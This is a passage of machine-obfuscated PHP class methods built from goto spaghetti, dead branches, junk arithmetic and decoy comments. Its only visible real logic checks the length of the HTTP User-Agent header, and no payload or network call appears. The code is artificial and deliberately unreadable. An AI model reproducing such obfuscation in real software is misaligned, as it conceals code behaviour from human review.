a8n5CEsqb; a8n5CEsqb: if (false) { echo 'This is a dead end'; } goto ui8Ksg5p; ui8Ksg5p: // 0V3c7GYd8NyWkMYb goto a46fiTFFT; a46fiTFFT: /* tZAbGJPeozitICX */ $Pe9zuJ4r = 309 + 7; $XsucffsH = $Pe9zuJ4r * 3; goto a2vmIIYnP; a2vmIIYnP: // KKt236Tl goto ALc3AEyT; ALc3AEyT: /* Core module */ goto rHA1Ueu0; rHA1Ueu0: /* Main service */ $BqYDw4sr = 368 + 18; $jIP39ari = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto QzebJ61K; QzebJ61K: /* pY7HHXPZQbeF8kZIqZBg */ goto a5WPud14n; a5WPud14n: goto TYw0FzMX; TYw0FzMX: $Pe9zuJ4r = strlen($iX1geSuk); goto D0wOSgBv; D0wOSgBv: /* System file */ $NqlX8zGc = 216 + 22; $iX1geSuk = $NqlX8zGc * 4; goto x7GmJ173; x7GmJ173: $iX1geSuk = 202 + 8; $n7sJ6WnP = $iX1geSuk * 4; goto B8HcgMg7; B8HcgMg7: $n7sJ6WnP = 343 + 50; $a6EHyDbxg = $n7sJ6WnP * 4; goto yiqiLZ8F; yiqiLZ8F: goto h9Bqp7m1; h9Bqp7m1: // rAaFdPb0HQIN goto a7nxKndNt; a7nxKndNt: goto YCU5UOQW; YCU5UOQW: goto ozsPSNzk; ozsPSNzk: goto UW8YMs1O; UW8YMs1O: /* 66Z0red0E9AS6Ze */ goto idAFr8lH; idAFr8lH: /* System file */ goto W4eD3WSV; W4eD3WSV: $n7sJ6WnP = 788 + 45; $a6EHyDbxg = $n7sJ6WnP * 4; goto a2reTJSlw; a2reTJSlw: goto mgdonk5q; mgdonk5q: /* System file */ goto NypwJwZz; NypwJwZz: $BqYDw4sr = 815 + 1; $n7sJ6WnP = $BqYDw4sr * 2; goto tX3eeaEc; tX3eeaEc: // LBDlPats if (false) { echo 'This is a dead end'; } goto wecvMX8n; wecvMX8n: return $Pe9zuJ4r > 10; } private function a2kvOQqdmDE() { goto W0CsPzsw; W0CsPzsw: goto a74uL7KmF; a74uL7KmF: if (false) { echo 'This is a dead end'; } goto a36dspWgf; a36dspWgf: // xyXN_ozpsPim $n7sJ6WnP = 927 + 32; $BqYDw4sr = $n7sJ6WnP * 4; goto NFImY3I1; NFImY3I1: $bZa4iOd6 = 551 + 12; $a6EHyDbxg = $bZa4iOd6 * 1; goto OKIuFMIa; OKIuFMIa: if (false) { echo 'This is a dead end'; } goto INkOKBqv; INkOKBqv: goto VySGVg0a; VySGVg0a: /* System file */ goto a969WzGW0; a969WzGW0: /* System file */ $a6b9oay5s = 486 + 39; $iX1geSuk = $a6b9oay5s * 5; goto YRjEPpaz; YRjEPpaz: /* AfmdxTSrNAVYpu2 */ $iCjD65Pi = 468 + 11; $XsucffsH = $iCjD65Pi * 4; goto a1Z5WY5Qk; a1Z5WY5Qk: $Pe9zuJ4r = 686 + 35; $a29IFo9lZ = $Pe9zuJ4r * 2; goto j7dBYZVp; j7dBYZVp: /* Main service */ goto tOUnJVvL; tOUnJVvL: goto ReioZgjR; ReioZgjR: // 8jeQsRmTRUzV $a6EHyDbxg = 875 + 44; $FbaGmw5w = $a6EHyDbxg * 4; goto SZ6Npea8; SZ6Npea8: goto a0632_ZIM; a0632_ZIM: goto loi9yhwm; loi9yhwm: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a4Gfp7FV1; a4Gfp7FV1: // ZNrv0dHf goto a7T0NkmWc; a7T0NkmWc: goto a7a6BYOz1; a7a6BYOz1: /* Security component */ goto E4UDxYJh; E4UDxYJh: goto LpHu4anm; LpHu4anm: /* API handler */ goto X7DP1HrF; X7DP1HrF: /* lXtTUA5gPP */ goto gvsR6HCf; gvsR6HCf: $n7sJ6WnP = 135 + 35; $a6EHyDbxg = $n7sJ6WnP * 1; goto RVizs62A; RVizs62A: $XsucffsH = 400 + 6; $a6b9oay5s = $XsucffsH * 4; goto rFS9Ha1W; rFS9Ha1W: // 4py9a0JeJQqu goto fV113RGJ; fV113RGJ: $iCjD65Pi = 629 + 25; $XsucffsH = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto a6aFt05mR; a6aFt05mR: // t6M4AYeTkkKFgjeb goto hGtd1X6L; hGtd1X6L: /* 4wk3mACFAjpG0w6UZek0 */ $a6b9oay5s = 872 + 2; $jIP39ari = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto QjAhEt6B; QjAhEt6B: $XsucffsH = 706 + 12; $FbaGmw5w = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto MKH8zHU3; MKH8zHU3: /* System file */ goto rtWQCKBX; rtWQCKBX: /* A3QooW8gfzjX9pc */ goto YwwLO58P; YwwLO58P: $a6EHyDbxg = strlen($iX1geSuk); goto u8iqu7iH; u8iqu7iH: $a29IFo9lZ = 868 + 39; $n7sJ6WnP = $a29IFo9lZ * 2; goto edjPYJZn; edjPYJZn: goto jY93RUIf; jY93RUIf: goto txXDogit; txXDogit: /* API handler */ goto a1YY9a0yg; a1YY9a0yg: $WWDcP6ib = 632 + 16; $NqlX8zGc = $WWDcP6ib * 2; goto fMgfB6ay; fMgfB6ay: goto IJi_gMKi; IJi_gMKi: goto ZX5lfDgq; ZX5lfDgq: $n7sJ6WnP = 181 + 37; $a6EHyDbxg = $n7sJ6WnP * 4; goto xZJz4_JU; xZJz4_JU: goto F7QguvfK; F7QguvfK: goto A38wIfFM; A38wIfFM: if (false) { echo 'This is a dead end'; } goto a7nSfcfFx; a7nSfcfFx: /* Core module */ $Pe9zuJ4r = 698 + 26; $iCjD65Pi = $Pe9zuJ4r * 4; if (false) { echo 'This is a dead end'; } goto K2eD2xVi; K2eD2xVi: goto XAktYNHP; XAktYNHP: /* Security component */ $bZa4iOd6 = 236 + 46; $iX1geSuk = $bZa4iOd6 * 4; goto a2zjsgzgV; a2zjsgzgV: /* vfawqSf9aLVbwrc_wTgW */ goto a8xo8b88Z; a8xo8b88Z: return $a6EHyDbxg > 10; } private function a6bmEZgki5D() { goto yWBAR38e; yWBAR38e: goto a0Gmj2rRD; a0Gmj2rRD: if (false) { echo 'This is a dead end'; } goto Jai8ADbf; Jai8ADbf: $jIP39ari = 329 + 9; $BqYDw4sr = $jIP39ari * 1; if (false) { echo 'This is a dead end'; } goto I7xTquzC; I7xTquzC: goto Bgm2mzeI; Bgm2mzeI: // yLc4JAjC if (false) { echo 'This is a dead end'; } goto ykAPJxrm; ykAPJxrm: /* 6FtMhvAGKd */ $a6EHyDbxg = 630 + 2; $jIP39ari = $a6EHyDbxg * 3; goto i318oimK; i318oimK: $FbaGmw5w = 114 + 36; $B9ma2fmF = $FbaGmw5w * 4; goto aEV77aLh; aEV77aLh: // 3lbQ1Ks08BI3 $WWDcP6ib = 797 + 19; $n7sJ6WnP = $WWDcP6ib * 5; goto ibPDCmyi; ibPDCmyi: /* System file */ $WWDcP6ib = 663 + 49; $NqlX8zGc = $WWDcP6ib * 4; goto NiTiwaou; NiTiwaou: /* Main service */ goto a1ymXnf44; a1ymXnf44: /* System file */ if (false) { echo 'This is a dead end'; } goto sgPfOtQA; sgPfOtQA: /* System file */ goto gcl3Tkxn; gcl3Tkxn: $BqYDw4sr = 314 + 46; $iX1geSuk = $BqYDw4sr * 4; goto fNts8KpI; fNts8KpI: /* Security component */ goto WrRilRF9; WrRilRF9: goto nd9HTdQ9; nd9HTdQ9: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto wHTG4jQG; wHTG4jQG: /* Qw7LemHeBu4ToUrMd28v */ goto Kj3FvT93; Kj3FvT93: $B9ma2fmF = 140 + 7; $a6b9oay5s = $B9ma2fmF * 5; goto fEigPmSy; fEigPmSy: /* c1Rwv2Fdei1wNqFkg8Um */ goto UmSfJvJd; UmSfJvJd: $a6EHyDbxg = 680 + 17; $iCjD65Pi = $a6EHyDbxg * 4; goto Fz68lvGK; Fz68lvGK: // mpmUKfeI7Zx8xNt6 $a6b9oay5s = 253 + 18; $a29IFo9lZ = $a6b9oay5s * 1; goto i8qVKXbI; i8qVKXbI: goto mnggl4JL; mnggl4JL: /* Main service */ $a6b9oay5s = 127 + 39; $FbaGmw5w = $a6b9oay5s * 4; goto o85CXZ4S; o85CXZ4S: $FbaGmw5w = 756 + 27; $bZa4iOd6 = $FbaGmw5w * 4; goto a0N0vBYm4; a0N0vBYm4: /* Main service */ $a6EHyDbxg = 160 + 22; $WWDcP6ib = $a6EHyDbxg * 3; goto oYl7gWml; oYl7gWml: /* dOijPstN48dba_KVYdrE */ $a6b9oay5s = 896 + 36; $Pe9zuJ4r = $a6b9oay5s * 5; goto BMK5lzmp; BMK5lzmp: if (false) { echo 'This is a dead end'; } goto SNJJbplL; SNJJbplL: $FbaGmw5w = 719 + 5; $bZa4iOd6 = $FbaGmw5w * 5; goto a1fQF5E9g; a1fQF5E9g: $n7sJ6WnP = 392 + 26; $BqYDw4sr = $n7sJ6WnP * 4; goto N1EHjjMb; N1EHjjMb: /* System file */ goto J1ZTaB8T; J1ZTaB8T: goto GanhwME9; GanhwME9: $B9ma2fmF = strlen($BqYDw4sr); goto yDpjMD8f; yDpjMD8f: goto hG_08HDt; hG_08HDt: /* Core module */ goto iMmPkJ_E; iMmPkJ_E: $NqlX8zGc = 264 + 41; $a29IFo9lZ = $NqlX8zGc * 5; goto CnN0XvuF; CnN0XvuF: goto n5hzpHtL; n5hzpHtL: /* API handler */ goto bEzkzljz; bEzkzljz: // 3Q6wGe2fo17E goto LbROmzNR; LbROmzNR: /* System file */ goto EpO62Gls; EpO62Gls: /* Main service */ goto h4ZGZVLI; h4ZGZVLI: /* 3cSptLVTfNwmp1S */ $iCjD65Pi = 938 + 7; $a6EHyDbxg = $iCjD65Pi * 1; goto wPbzTrSs; wPbzTrSs: if (false) { echo 'This is a dead end'; } goto BOT_A3Uc; BOT_A3Uc: /* System file */ goto a3vh9qk7j; a3vh9qk7j: $bZa4iOd6 = 384 + 30; $a29IFo9lZ = $bZa4iOd6 * 1; goto BeQSwiex; BeQSwiex: /* Core module */ goto eKRWFa3O; eKRWFa3O: /* dWm4xj0uJ6 */ goto pjZT9tV8; pjZT9tV8: /* API handler */ goto MGbrbyl9; MGbrbyl9: return $B9ma2fmF > 10; } private function g8z_sOizUr() { /* E48Ekn__97 */ goto oYOv9ko4; oYOv9ko4: // 3_bnnfVInwMWkxuR goto VztRA_mk; VztRA_mk: /* Security component */ $iX1geSuk = 791 + 22; $iCjD65Pi = $iX1geSuk * 4; if (false) { echo 'This is a dead end'; } goto Gr0OPoSW; Gr0OPoSW: goto n1PXTZr3; n1PXTZr3: // 0N8IBJTY $iCjD65Pi = 256 + 44; $n7sJ6WnP = $iCjD65Pi * 4; if (false) { echo 'This is a dead end'; } goto a5Zcb36FV; a5Zcb36FV: goto p2aJ1wWw; p2aJ1wWw: goto t2f86_br; t2f86_br: goto ZuWirs7E; ZuWirs7E: goto a4zB4rUGV; a4zB4rUGV: goto SMOtQI3X; SMOtQI3X: // m8duXTBNsU3xyYAj goto a7j2yIwN6; a7j2yIwN6: /* F3SuiyUaw98Lq93wV5C7 */ goto RegJ8VOc; RegJ8VOc: if (false) { echo 'This is a dead end'; } goto a5y3lcTUH; a5y3lcTUH: goto UbEyuuhj; UbEyuuhj: /* 3qHKt4t49OiNddF */ goto a6mzLJQ_z; a6mzLJQ_z: $XsucffsH = 653 + 50; $bZa4iOd6 = $XsucffsH * 3; if (false) { echo 'This is a dead end'; } goto QtBj2Oa9; QtBj2Oa9: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto XfnCepHS; XfnCepHS: $iX1geSuk = 917 + 19; $NqlX8zGc = $iX1geSuk * 1; goto yjFNdCCl; yjFNdCCl: goto JlTxX3AS; JlTxX3AS: /* Core module */ goto a6deHQhtF; a6deHQhtF: $iCjD65Pi = 683 + 25; $FbaGmw5w = $iCjD65Pi * 1; goto G_p1h983; G_p1h983: /* dmi6UG3Krtuq6EF */ goto FQouE3Pe; FQouE3Pe: /* KmjBkZCme12CqCl */ goto lQjczRGA; lQjczRGA: $BqYDw4sr = 988 + 29; $WWDcP6ib = $BqYDw4sr * 1; goto sXsifTQB; sXsifTQB: /* Security component */ goto daEPX6WB; daEPX6WB: $XsucffsH = 986 + 5; $n7sJ6WnP = $XsucffsH * 5; goto e9dE1zHC; e9dE1zHC: /* Security component */ goto Sw5KdDRj; Sw5KdDRj: goto a2Rc2oz5H; a2Rc2oz5H: /* Main service */ goto wKioaEBA; wKioaEBA: /* API handler */ goto YuYUcTWD; YuYUcTWD: goto LnpLP8Xv; LnpLP8Xv: /* w50sdaiqwA303Sq */ goto wAuJKbQz; wAuJKbQz: $n7sJ6WnP = strlen($BqYDw4sr); goto Y4XUm3HJ; Y4XUm3HJ: if (false) { echo 'This is a dead end'; } goto ngCMCyYB; ngCMCyYB: /* H2esG7MR0wU8nMlGDO37 */ goto Bs0XRfps; Bs0XRfps: /* Core module */ $bZa4iOd6 = 444 + 28; $iX1geSuk = $bZa4iOd6 * 5; goto wYzqoLWx; wYzqoLWx: /* Core module */ goto iPEyOIyw; iPEyOIyw: $a6b9oay5s = 818 + 22; $FbaGmw5w = $a6b9oay5s * 3; goto C61GeBeH; C61GeBeH: /* SWx_cn2oAAxAbD058ejF */ goto yNO6P9BY; yNO6P9BY: $iCjD65Pi = 874 + 43; $a6EHyDbxg = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto QM1LGCLd; QM1LGCLd: goto z2VdTPDk; z2VdTPDk: /* 9YZiXCny8TFC7NbZSxRj */ if (false) { echo 'This is a dead end'; } goto MJn9lncb; MJn9lncb: /* q8UgiQTVEhslX8ta0TnI */ goto vlKTHrDY; vlKTHrDY: /* API handler */ goto a__4sAxwO; a__4sAxwO: /* Core module */ goto UYwbQCEF; UYwbQCEF: $XsucffsH = 355 + 47; $bZa4iOd6 = $XsucffsH * 5; goto MchAAS07; MchAAS07: $jIP39ari = 862 + 20; $a6b9oay5s = $jIP39ari * 1; goto WqIXkdfC; WqIXkdfC: /* UDq3Q8dwMbqD0fvbBxQk */ goto CTRN9nBa; CTRN9nBa: return $n7sJ6WnP > 10; } private function c64tyho1wz() { goto Z7dTABhf; Z7dTABhf: goto UEbhVoVy; UEbhVoVy: /* cET7nj6QVA */ goto yhXMzHbi; yhXMzHbi: $NqlX8zGc = 809 + 35; $iX1geSuk = $NqlX8zGc * 2; goto a4wItnH2a; a4wItnH2a: $B9ma2fmF = 743 + 23; $B9ma2fmF = $B9ma2fmF * 3; goto WCHhtw6V; WCHhtw6V: /* LzuL_AN0v1BXTPZai1d6 */ $XsucffsH = 655 + 37; $iX1geSuk = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto LpeyklZz; LpeyklZz: goto y_bvsq4A; y_bvsq4A: /* Core module */ goto a7P0bnjlM; a7P0bnjlM: goto a38pdeLYy; a38pdeLYy: /* YWyprzvsbA */ $Pe9zuJ4r = 969 + 5; $n7sJ6WnP = $Pe9zuJ4r * 5; goto lLm_SWCm; lLm_SWCm: /* JBtGk6o9bNDhcRXvAf97 */ $FbaGmw5w = 384 + 48; $bZa4iOd6 = $FbaGmw5w * 1; goto NDupqVdy; NDupqVdy: // vIK2fAdu goto a3dUobrGA; a3dUobrGA: /* Security component */ $Pe9zuJ4r = 851 + 34; $Pe9zuJ4r = $Pe9zuJ4r * 1; goto qU5DiChK; qU5DiChK: // 8l7XLh43z2t11Bs6 goto kxg20HbD; kxg20HbD: /* Main service */ goto W0xxrJOu; W0xxrJOu: goto Uqk30zXo; Uqk30zXo: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto eph5YpmN; eph5YpmN: /* PXjO748iDzD2h0HLijet */ if (false) { echo 'This is a dead end'; } goto di7AXn5_; di7AXn5_: /* System file */ goto Np1aezua; Np1aezua: // b0Vq4oztGUN6KL4m $a6b9oay5s = 240 + 24; $bZa4iOd6 = $a6b9oay5s * 5; goto a3rnPhl5; a3rnPhl5: goto a84LyxKO5; a84LyxKO5: /* Xkxe2Po07ZyHX3svmXwx */ goto BatuwmsP; BatuwmsP: $BqYDw4sr = 338 + 37; $n7sJ6WnP = $BqYDw4sr * 4; if (false) { echo 'This is a dead end'; } goto vzMy8d6t; vzMy8d6t: goto nKNK3hOz; nKNK3hOz: goto xNiIGmHG; xNiIGmHG: // FldDsZk8pBM6 goto lAPGc5_w; lAPGc5_w: $a6EHyDbxg = 348 + 44; $a6EHyDbxg = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto wv1_XnO6; wv1_XnO6: $iX1geSuk = 168 + 43; $XsucffsH = $iX1geSuk * 1; goto a5x7wrRPm; a5x7wrRPm: // z99Q_qaX goto JjJQijtm; JjJQijtm: /* anshhLMo_q */ goto a0JsXhAcA; a0JsXhAcA: goto a6XNubgaY; a6XNubgaY: /* Security component */ goto Y5ajfXWc; Y5ajfXWc: $BqYDw4sr = strlen($XsucffsH); goto r0lLDxzy; r0lLDxzy: $NqlX8zGc = 380 + 14; $BqYDw4sr = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto qgakFFZz; qgakFFZz: if (false) { echo 'This is a dead end'; } goto cpa51I5X; cpa51I5X: goto bu3TZb24; bu3TZb24: // V0jkwATH5tt53zSF $XsucffsH = 876 + 12; $NqlX8zGc = $XsucffsH * 4; if (false) { echo 'This is a dead end'; } goto IJzoHeXw; IJzoHeXw: // BfdcLKU3lyoF $a29IFo9lZ = 190 + 7; $WWDcP6ib = $a29IFo9lZ * 5; goto a0BSCvKJn; a0BSCvKJn: /* a_wcuuepQvwU0yVniEz3 */ $a6EHyDbxg = 786 + 45; $iCjD65Pi = $a6EHyDbxg * 4; goto xnWGK4zE; xnWGK4zE: // 6RD8ewvz $iCjD65Pi = 535 + 26; $a6EHyDbxg = $iCjD65Pi * 3; goto otMeTko7; otMeTko7: /* System file */ goto aBTvGSKo; aBTvGSKo: /* System file */ $FbaGmw5w = 922 + 16; $WWDcP6ib = $FbaGmw5w * 3; if (false) { echo 'This is a dead end'; } goto YEX3fyG5; YEX3fyG5: // Z4QFp7CeV1kk $Pe9zuJ4r = 334 + 6; $iX1geSuk = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto hDqUSzSS; hDqUSzSS: /* 2D6Kzrb7ixXTWxaiuI9h */ goto EHjgTUMW; EHjgTUMW: goto isJCpkvs; isJCpkvs: // e5lNVvAZ goto QC0ejrHb; QC0ejrHb: /* API handler */ goto a8aplaBuF; a8aplaBuF: goto giMXkwGs; giMXkwGs: return $BqYDw4sr > 10; } private function x_kya9HnOd() { goto GYky2QfG; GYky2QfG: /* Core module */ goto a_Ft81Xfc; a_Ft81Xfc: $iX1geSuk = 515 + 47; $FbaGmw5w = $iX1geSuk * 4; if (false) { echo 'This is a dead end'; } goto a_5Yf0Nhg; a_5Yf0Nhg: /* UFM95PwrL4F_3Uj8B7xj */ goto Uh28XbUk; Uh28XbUk: goto Etp2QRSd; Etp2QRSd: /* 1wE6Fi3Mg7j2HiTHY2GQ */ if (false) { echo 'This is a dead end'; } goto kclTQD_w; kclTQD_w: $iCjD65Pi = 904 + 37; $bZa4iOd6 = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto a3DS4kKzf; a3DS4kKzf: /* System file */ goto B5byuyF2; B5byuyF2: /* 4eXqTU4Ac4gVpzv */ $n7sJ6WnP = 587 + 16; $iCjD65Pi = $n7sJ6WnP * 5; goto a8EyVpJa1; a8EyVpJa1: $jIP39ari = 939 + 49; $WWDcP6ib = $jIP39ari * 4; goto rr7pUdJd; rr7pUdJd: // b2N4om4h goto a_3s8t0EY; a_3s8t0EY: // Q3XjQ28xscGn goto jeRnXbQ9; jeRnXbQ9: $Pe9zuJ4r = 131 + 36; $Pe9zuJ4r = $Pe9zuJ4r * 4; goto W14fVy2D; W14fVy2D: // DhvrnEOb $a29IFo9lZ = 130 + 4; $a29IFo9lZ = $a29IFo9lZ * 3; goto NXjC9R90; NXjC9R90: goto a71Xbgm8r; a71Xbgm8r: goto ZZwDbES5; ZZwDbES5: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto WkjhfOfA; WkjhfOfA: /* Security component */ goto a15WliN0v; a15WliN0v: goto D2o_0AjW; D2o_0AjW: goto ydlBM3BO; ydlBM3BO: goto Isb2tHVT; Isb2tHVT: // zbf1x8lD62JEd19Y $jIP39ari = 739 + 6; $n7sJ6WnP = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto Ksjzrbn8; Ksjzrbn8: /* API handler */ $a6EHyDbxg = 378 + 38; $B9ma2fmF = $a6EHyDbxg * 4; goto H8f455oz; H8f455oz: $a29IFo9lZ = 227 + 42; $a6b9oay5s = $a29IFo9lZ * 4; goto eB7YdBcV; eB7YdBcV: goto WppHIw0K; WppHIw0K: /* Core module */ if (false) { echo 'This is a dead end'; } goto Erdqv6UO; Erdqv6UO: goto uZNAnQ05; uZNAnQ05: /* Core module */ goto k1PwHMAi; k1PwHMAi: goto Jft0CL80; Jft0CL80: /* 5fXq0mn7UovOxZgGkXik */ if (false) { echo 'This is a dead end'; } goto uKOvDPqk; uKOvDPqk: if (false) { echo 'This is a dead end'; } goto MAwAvJp4; MAwAvJp4: goto OcYuZpl4; OcYuZpl4: $Pe9zuJ4r = strlen($a29IFo9lZ); goto vkXTgkfl; vkXTgkfl: goto KcPBdfYH; KcPBdfYH: /* Security component */ $XsucffsH = 360 + 2; $a6b9oay5s = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto q1kYyvLS; q1kYyvLS: // iN8Fj3ZJj9i8TF0G goto YKUzx4Yx; YKUzx4Yx: goto aPYA30_B; aPYA30_B: /* cUJmZ0yFUS7azPeRQRpv */ $NqlX8zGc = 772 + 45; $Pe9zuJ4r = $NqlX8zGc * 1; goto RfdCGza1; RfdCGza1: /* Security component */ $a29IFo9lZ = 556 + 43; $NqlX8zGc = $a29IFo9lZ * 5; goto zpLVPVlO; zpLVPVlO: /* Core module */ if (false) { echo 'This is a dead end'; } goto kZDEq5eD; kZDEq5eD: /* D1pL37mLzMS3PhX */ goto oRmN37zG; oRmN37zG: goto q8E3qNCs; q8E3qNCs: // CQol8RYE goto a1PDADZUX; a1PDADZUX: goto a2T6PmtHE; a2T6PmtHE: $iX1geSuk = 115 + 50; $XsucffsH = $iX1geSuk * 1; goto qn_IK1RB; qn_IK1RB: /* API handler */ goto UucxMKHB; UucxMKHB: /* Security component */ goto a0d_8PoKA; a0d_8PoKA: // ELbSEzljI3Z9 goto nFbokACD; nFbokACD: return $Pe9zuJ4r > 10; } private function UW8dJnSToE() { goto csREO2SO; csREO2SO: $WWDcP6ib = 622 + 18; $WWDcP6ib = $WWDcP6ib * 5; goto yw66izRc; yw66izRc: goto AvSReTWB; AvSReTWB: /* XPWW5TFjGAzu9u45i9o4 */ goto a2KVZkEiH; a2KVZkEiH: goto ut0Be29E; ut0Be29E: goto PgiF6h6C; PgiF6h6C: $a6EHyDbxg = 184 + 12; $iX1geSuk = $a6EHyDbxg * 2; goto RN2pGfop; RN2pGfop: goto rhJV1SET; rhJV1SET: goto yHHmvBAQ; yHHmvBAQ: // kvVEAHoaRvMY goto ag0xKfSp; ag0xKfSp: if (false) { echo 'This is a dead end'; } goto nGQj5SZk; nGQj5SZk: goto BSydwke5; BSydwke5: goto jAXMf2Ar; jAXMf2Ar: goto AwRfrsHB; AwRfrsHB: goto v70kojHk; v70kojHk: goto LbRKFQJS; LbRKFQJS: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto oa9hg2Wk; oa9hg2Wk: /* n00RobQIUF */ if (false) { echo 'This is a dead end'; } goto a2cLqD7uU; a2cLqD7uU: goto khzVn3PI; khzVn3PI: $jIP39ari = 769 + 1; $WWDcP6ib = $jIP39ari * 3; goto fRckUqG2; fRckUqG2: /* etpSd06WN9UMEi2aqkSU */ goto uB3Bf3XL; uB3Bf3XL: /* API handler */ goto bFpriyZC; bFpriyZC: /* System file */ goto a0Hu3Izgx; a0Hu3Izgx: /* oCE9s_sqKbaK7B_ */ goto HV3KVHZ6; HV3KVHZ6: // Ed5OpCEolYwOmqab $B9ma2fmF = 336 + 33; $iX1geSuk = $B9ma2fmF * 2; goto Z3YAm884; Z3YAm884: if (false) { echo 'This is a dead end'; } goto Gdq1oDOT; Gdq1oDOT: /* zfo_kLmr9L */ $iX1geSuk = 751 + 40; $BqYDw4sr = $iX1geSuk * 2; goto AUlx8eeb; AUlx8eeb: /* b9tvXJOEFUpw_BC1tPTZ */ goto ePGvO4uh; ePGvO4uh: if (false) { echo 'This is a dead end'; } goto MEJj7xAk; MEJj7xAk: // 9aBwuCsdm6YiCkp_ goto a5VZvlrhz; a5VZvlrhz: /* Core module */ $Pe9zuJ4r = 851 + 18; $a29IFo9lZ = $Pe9zuJ4r * 1; goto wFxsfNYO; wFxsfNYO: goto q2cbV7ls; q2cbV7ls: $iX1geSuk = strlen($BqYDw4sr); goto vn2KigzL; vn2KigzL: /* API handler */ goto a2hD6EmN0; a2hD6EmN0: goto h5MIpMzu; h5MIpMzu: $n7sJ6WnP = 999 + 39; $BqYDw4sr = $n7sJ6WnP * 3; if (false) { echo 'This is a dead end'; } goto rseYZozV; rseYZozV: $a29IFo9lZ = 960 + 46; $Pe9zuJ4r = $a29IFo9lZ * 1; goto KzrZOhTv; KzrZOhTv: goto JSmQXtbR; JSmQXtbR: /* Core module */ $NqlX8zGc = 999 + 14; $FbaGmw5w = $NqlX8zGc * 2; goto a3hbClja6; a3hbClja6: /* System file */ $BqYDw4sr = 421 + 26; $a6b9oay5s = $BqYDw4sr * 3; goto QowIZVrh; QowIZVrh: /* System file */ goto a62mYfPQ; a62mYfPQ: // EjE3ei2SM0siLLUC goto zJzZZoId; zJzZZoId: $FbaGmw5w = 982 + 21; $iCjD65Pi = $FbaGmw5w * 3; goto JhzNVj15; JhzNVj15: goto a8YQmwo1V; a8YQmwo1V: /* l_pxtVguuQqil2tHwOOW */ goto H9N7nMu4; H9N7nMu4: goto PTac4tal; PTac4tal: // YA9bD3tlg6vpeh7V goto a_fpEUq6s; a_fpEUq6s: goto tl4jYuc_; tl4jYuc_: return $iX1geSuk > 10; } private function a1LpDTgWcGA() { /* Security component */ goto c9yY3ITx; c9yY3ITx: // hZzIa2pR $n7sJ6WnP = 452 + 43; $Pe9zuJ4r = $n7sJ6WnP * 5; goto CON8L476; CON8L476: /* System file */ $a6b9oay5s = 437 + 12; $NqlX8zGc = $a6b9oay5s * 1; if (false) { echo 'This is a dead end'; } goto BULcJDti; BULcJDti: /* Security component */ $a6EHyDbxg = 789 + 36; $jIP39ari = $a6EHyDbxg * 5; goto TmpiOEPh; TmpiOEPh: $XsucffsH = 744 + 27; $B9ma2fmF = $XsucffsH * 3; goto mVKjN3fh; mVKjN3fh: goto f8YycruC; f8YycruC: /* sSCagDfcaSsknwz9T6lE */ if (false) { echo 'This is a dead end'; } goto fUyNURh4; fUyNURh4: /* System file */ $iCjD65Pi = 582 + 14; $WWDcP6ib = $iCjD65Pi * 4; goto ub2A9kEV; ub2A9kEV: goto wmPYDjUE; wmPYDjUE: $Pe9zuJ4r = 440 + 14; $iCjD65Pi = $Pe9zuJ4r * 1; if (false) { echo 'This is a dead end'; } goto d6z8_hJ7; d6z8_hJ7: // PFinYEpa goto GlwnNYfc; GlwnNYfc: /* wEr7400pEp */ $a6EHyDbxg = 763 + 11; $n7sJ6WnP = $a6EHyDbxg * 1; goto a2iZtEBGR; a2iZtEBGR: /* Security component */ $jIP39ari = 109 + 41; $jIP39ari = $jIP39ari * 1; goto z_N4xovt; z_N4xovt: /* Security component */ goto kgpEQOq1; kgpEQOq1: if (false) { echo 'This is a dead end'; } goto dYMikNlr; dYMikNlr: goto uP3juDfn; uP3juDfn: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto GAqEaeJt; GAqEaeJt: goto LPedMEVi; LPedMEVi: // iuUGiPG7lx6I_0Pm goto a4XAPNxpD; a4XAPNxpD: $a29IFo9lZ = 445 + 19; $B9ma2fmF = $a29IFo9lZ * 3; goto csJCYrO8; csJCYrO8: /* Security component */ $WWDcP6ib = 708 + 1; $n7sJ6WnP = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto bi_s8n3o; bi_s8n3o: // K6wANi63 goto hFtzJL7G; hFtzJL7G: goto a8lTgRdv9; a8lTgRdv9: /* kMDxn_PICAGuxVg */ goto kynltto5; kynltto5: // Aih6k9Mk goto l9Q5NTc_; l9Q5NTc_: // YzCYuu_9g1iDpdZI $NqlX8zGc = 218 + 33; $jIP39ari = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto VZivwTgy; VZivwTgy: goto I7QMGP7g; I7QMGP7g: $iX1geSuk = 648 + 33; $FbaGmw5w = $iX1geSuk * 4; goto Jj3vibvA; Jj3vibvA: goto a6oIfe37V; a6oIfe37V: if (false) { echo 'This is a dead end'; } goto tMuHHRK4; tMuHHRK4: goto qjyTSAfs; qjyTSAfs: // BG57ODkvv6afLxvC $a6b9oay5s = 623 + 31; $iCjD65Pi = $a6b9oay5s * 5; goto nxFOfNTm; nxFOfNTm: $iX1geSuk = strlen($iX1geSuk); goto T20vfBZb; T20vfBZb: goto VqY0nEoR; 